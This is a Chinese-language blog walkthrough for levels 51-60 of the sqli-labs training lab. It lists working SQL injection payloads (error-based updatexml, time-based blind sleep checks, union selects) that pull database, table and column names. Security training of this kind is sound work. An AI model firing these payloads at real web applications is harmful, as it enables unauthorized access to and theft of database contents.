首页 > 数据库 >sqli-labs靶场通关攻略(51-60)

sqli-labs靶场通关攻略(51-60)

时间:2024-09-02 10:24:34浏览次数:6  
标签:labs name 51 60 concat --+ table select schema

Less-51

步骤一:这关的参数是sort,输入?sort=1'--+

步骤二:查看数据库

?sort=1' and updatexml(1,concat(1,(select database())),1) --+

步骤三:查看表名

?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

Less-52

步骤一:这关的参数是sort,输入?sort=1--+

步骤二:查看数据库

判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :

?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)--+

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+

数据库第一位字符ascii码为115 's'。

............................最终得出数据库名为security

步骤三:查看表名

查security数据库中第一张表的第一位字符

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+

页面延迟三秒访问

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+

页面正常访问

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

Less-53

步骤一:这关的参数是sort,输入?sort=1'--+

步骤二:查看数据库

判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :

?sort=1' and if((ascii(substr(database(),1,1))>114),sleep(3),1)--+

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

?sort=1' and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+

数据库第一位字符ascii码为115 's'。

............................最终得出数据库名为security

步骤三:查看表名

查security数据库中第一张表的第一位字符

?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+

页面延迟三秒访问

?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+

页面正常访问

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

Less-54

步骤一:查看数据库

?id=-1'union select 1,2,database()--+

步骤二:查看表名

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤三:查看users表中列名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

Less-55

 步骤一:查看数据库

?id=-1)union select 1,2,database()--+

步骤二:查看表名

?id=-1)union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤三:查看users表中列名

?id=-1)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

Less-56

步骤一:查看数据库

?id=-1')union select 1,2,database()--+

步骤二:查看表名

?id=-1')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤三:查看users表中列名

?id=-1')union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

Less-57

 步骤一:查看数据库

?id=-1"union select 1,2,database()--+

步骤二:查看表名

?id=-1"union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤三:查看users表中列名

?id=-1"union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

Less-58

步骤一:查看数据库

?id=1' and updatexml(1,concat(1,(select database())),1)--+

步骤二:查看表名

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

步骤三:查看users表中列名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

Less-59

步骤一:查看数据库

?id=1 and updatexml(1,concat(1,(select database())),1)

步骤二:查看表名

?id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

步骤三:查看users表中列名

?id=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)

Less-60

 步骤一:查看数据库

?id=1") and updatexml(1,concat(1,(select database())),1)--+

步骤二:查看表名

?id=1") and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

步骤三:查看users表中列名

?id=1")and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

 

标签:labs,name,51,60,concat,--+,table,select,schema
From: https://blog.csdn.net/shw_yzh/article/details/141712512

相关文章

  • sqli-labs靶场通关攻略(61-65)
    Less-61步骤一:查看数据库?id=1'))andupdatexml(1,concat(1,(selectdatabase())),1)--+步骤二:查看表名?id=1'))andupdatexml(1,concat(1,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema='security')),1)--+步骤三:查看use......
  • Affinity Photo 2.5.3.2516 x64 (照片编辑) 授权版
    AffinityPhoto是全球数百万创意和摄影专业人士的首选。这款备受赞誉的图像编辑软件拥有令人难以置信的速度、功能和精度,可以满足您编辑和修饰照片、创建多图层构图、精美的栅格绘图等一切需要。该版本已授权,可以免费使用。软件截图:使用说明:1、将压缩文件解压到某固定位......
  • 春秋云镜CVE-2022-28512
    目录1:开启靶机访问2:根据提示确定目标点3:访问该路径/single.php,并且id传参发现单引号闭合4:访问该路径/single.php,并且id传参,发现十个字段1:开启靶机访问2:根据提示确定目标点3:访问该路径/single.php,并且id传参发现单引号闭合4:访问该路径/single.php,并且id传参,发现九......
  • 关于循迹小车制作中遇到的问题(C51)
    本博客记录本人在使用8051单片机开发4路红外传感器循迹小车时遇到的问题纯小白网上单独购买的51循迹模块,各种模块一般没有配杜邦线需要自己购买。网上购买的小车车模一般带的是可以装四个电池的电池盒,如果装南孚电池只有6v,可能无法同时驱动电机与循迹模块,而且电很快就用......
  • 51c大模型~合集45
    #OpenAI家庭机器人NEO登场动作丝滑逼近人类!穿着西装的「人」却专做家务OpenAI支持的明星初创1XTechnologies,发布了最新的通用家务机器人NEO。不仅外形自然拟人,还有仿生设计带来的丝滑动作。不想干的家务,真的可以让机器人帮忙了!继Optimus和擎天柱之后,人形机器人领域又闯入一员猛将......
  • 8602 区间相交问题(优先做)
    ###思路1.**输入处理**:读取区间数和每个区间的端点。2.**排序区间**:按照区间的右端点进行排序。3.**选择区间**:使用贪心算法选择不相交的区间,尽可能多地选择区间。4.**计算结果**:计算需要去掉的区间数。###细节-**排序**:将所有区间按照右端点从小到大排序。-**......
  • 基于Keil软件实现软件I2C读写MPU6050(江协科技HAL库)
    软件I2C读写MPU6050实验是基于江协科技STM32的HAL库工程模板创建的(可以在作品“基于江科大STM32创建的HAL库工程模板”中的结尾处获取工程模板的百度网盘链接)复制“OLED显示”的工程文件——“4-1 OLED显示屏”,并命名为“10-1 软件I2C读写MPU6050 ”。打开工程,把下面的程序......
  • 正点原子Linux C应用编程:移植tslib并使其适配7寸LCD1024*600的GT911触摸驱动
    正点原子LinuxC应用编程:移植tslib并使其适配7寸LCD1024*600的GT911触摸驱动作者在学习【正点原子】I.MX6U嵌入式LinuxC应用编程指南V1.4时,发现移植tslib后,触摸事件触发不正常。使用的硬件版本:正点原子I.MX6UALPHAV2.4版本底板,LCD:正点原子7寸1024*600,型号ATK-MD0700R-102460......
  • 20240901_151114 python 项目 获取需要的视频
    需求有一个视频素材目录当中有很多的视频现在需要根据音频素材的时长获取需要的视频内容编程完成项目把生成的视频存放在结果目录中分析音频的时长不同所需要的视频个数也不同视频的长度不同需要对每一个视频进行等时长的截取(例如每个视频只截取3秒钟)用户有可能一次提......
  • [开题报告]flask框架的场馆预订系统的设计与实现d6551(程序+论文+python)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景在当今社会,随着人们健康意识的增强和体育运动的普及,体育场馆作为人们进行体育锻炼的重要场所,其管理和预订方式的高效性、便捷性显得尤为重......